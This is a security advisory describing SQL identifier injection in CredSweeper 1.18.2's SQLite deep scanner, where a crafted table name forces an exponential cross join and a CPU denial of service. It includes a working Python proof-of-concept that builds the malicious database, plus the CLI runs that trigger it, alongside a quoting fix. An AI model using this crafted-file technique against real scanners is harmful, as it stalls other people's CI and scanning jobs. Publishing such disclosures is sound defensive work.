SQLite identifier injection in the deep scanner causes CPU denial of service
Description
CredSweeper 1.18.2 interpolates a table name read from an untrusted SQLite file into a SELECT statement without quoting it as an identifier. A crafted 12,288-byte database turns the table name into a multi-source FROM clause, producing an exponential Cartesian product and sustained CPU consumption when deep scanning is enabled (--depth > 0).
A benign database of the same shape completes in 0.6 seconds. The crafted database was still running after 180 seconds when the test cut it off.
The issue is an availability vulnerability (CWE-89 leading to CWE-400). No confidentiality, integrity, or code-execution impact is claimed.
Details
Verified target: credsweeper==1.18.2 installed from PyPI. sqlite3_scanner.py is byte-identical (SHA-256) between the published wheel and commit 8d3d0dd2e7ab73cbcab0f2044e8c26b6350211bc, so the analysis applies to the artifact users install, not only to a git tree.
The vulnerable code reads table names from the scanned database's sqlite_master and inserts each name directly into SQL:
# credsweeper/deep_scanner/sqlite3_scanner.py:31-39
cursor.execute("SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%';")
for table in cursor.fetchall():
table_name = table[0]
try:
cursor.execute(f"SELECT * FROM {table_name}")
for row in cursor:
yield table_name, dict(row)
except sqlite3.DatabaseError as exc:
print(f"Error reading table {table_name}: {exc}")The except sqlite3.DatabaseError guard does not help: a cross join is valid SQL, so no error is raised.
SQLite permits unusual table names when they are quoted at creation. A database can contain a table whose stored name is:
t a0,t a1,t a2,t a3,t a4,t a5CredSweeper then constructs:
SELECT * FROM t a0,t a1,t a2,t a3,t a4,t a5which is parsed as a six-way self cross join. With 20 rows in t, the injected query can generate 20⁶ = 64,000,000 rows. CredSweeper structure-scans every yielded row.
The recursive byte budget does not bound this work. data_scan() computes new_limit once before the row loop and never decreases it per row:
# credsweeper/deep_scanner/sqlite3_scanner.py:75-82
new_limit = recursive_limit_size - len(data_provider.data)
for table, row in self.walk_sqlite(data_provider.data):
struct_content_provider = StructContentProvider(struct=row, ...)
if new_candidates := self.structure_scan(struct_content_provider, depth, new_limit):
candidates.extend(new_candidates)sqlite3_scanner.py first appears in 1.11.5 (it is absent in 1.11.4), which is the lower bound of the affected range.
Suggested remediation: quote SQLite identifiers by doubling embedded double quotes and wrapping the result in double quotes, then impose a per-table row cap or a scan-wide work/time budget:
quoted_name = '"' + table_name.replace('"', '""') + '"'
cursor.execute(f"SELECT * FROM {quoted_name}")Quoting alone closes the injection; the row cap is still needed because a legitimately large table can also stall the scan.
PoC
Install the affected artifact exactly as users do:
python -m venv .venv && . .venv/bin/activate
pip install credsweeper==1.18.21. Deterministic proof that the schema text is executed as SQL
import sqlite3, os
from credsweeper.deep_scanner.sqlite3_scanner import Sqlite3Scanner
def build(path, rows, joins):
if os.path.exists(path): os.remove(path)
db = sqlite3.connect(path); c = db.cursor()
c.execute('CREATE TABLE t (a TEXT, b TEXT)')
for i in range(rows):
c.execute('INSERT INTO t VALUES (?,?)', (f"v{i}", "dummy"))
name = "t " + ",t ".join(f"a{i}" for i in range(joins))
c.execute(f'CREATE TABLE "{name}" (z TEXT)')
db.commit(); db.close()
return name
name = build("small.sqlite", 4, 3) # 4 rows, 3-way injected join
print(f"injected_table_name={name!r}")
n = sum(1 for _ in Sqlite3Scanner.walk_sqlite(open("small.sqlite", "rb").read()))
print(f"proof_rows_yielded={n} expected=4 + 4^3 = {4 + 4**3} match={n == 4 + 4**3}")Measured:
injected_table_name='t a0,t a1,t a2'
proof_rows_yielded=68 expected=4 + 4^3 = 68 match=True68 is exactly the 4 rows of t plus the 4³ rows of the injected three-way join — the injected schema text was interpreted as SQL syntax, not as an identifier.
2. End-to-end through the unmodified CLI
build("malicious.sqlite", 20, 6) # 12,288 bytes, 20^6 = 64,000,000 rowspython -m credsweeper --path benign.sqlite --depth 1 --no-stdout
python -m credsweeper --path malicious.sqlite --depth 1 --no-stdout # run under a watchdogMeasured:
malicious_bytes=12288 theoretical_rows=20^6=64000000
cli_benign = exit=0, elapsed=0.639s
cli_malicious = still running at 180s cutoff, elapsed=180.1sCounting yielded rows directly reaches 1,000,000 rows in 2.1 seconds before the proof intentionally stops, confirming the generator is producing the Cartesian product rather than stalling elsewhere.
The PoC contains only dummy values. Run the malicious case under a timeout.
Impact
An attacker who can place a crafted SQLite file in a repository, uploaded artifact, or other content scanned by CredSweeper can consume a scanner worker's CPU until an external timeout terminates the job. A 12 KiB file kept the process busy for more than 180 seconds in testing, and the injected join's row count (20⁶ = 64,000,000 here) is chosen freely by the attacker through the number of aliases and rows, so the runtime scales at will.